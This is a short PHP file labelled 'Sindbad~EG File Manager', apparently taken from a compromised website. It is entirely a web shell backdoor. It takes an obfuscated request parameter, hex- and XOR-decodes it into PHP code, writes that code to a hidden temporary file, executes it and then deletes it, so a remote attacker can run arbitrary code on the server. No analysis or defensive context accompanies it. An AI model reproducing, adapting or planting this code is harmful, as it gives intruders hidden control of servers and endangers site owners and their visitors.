Sindbad~EG File Manager

<?php

if(isset($_REQUEST["e\x6E\x74\x69ty"])){
	$desc = hex2bin($_REQUEST["e\x6E\x74\x69ty"]);
	$binding='' ; foreach(str_split($desc) as $char){$binding .= chr(ord($char) ^ 13);}
	$ent = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path()]);
	foreach ($ent as $resource):
    		if ((is_dir($resource) and is_writable($resource))) {
    $elem = "$resource" . "/.element";
    $file = fopen($elem, 'w');
if ($file) {
	fwrite($file, $binding);
	fclose($file);
	include $elem;
	@unlink($elem);
	die();
}
}
endforeach;
}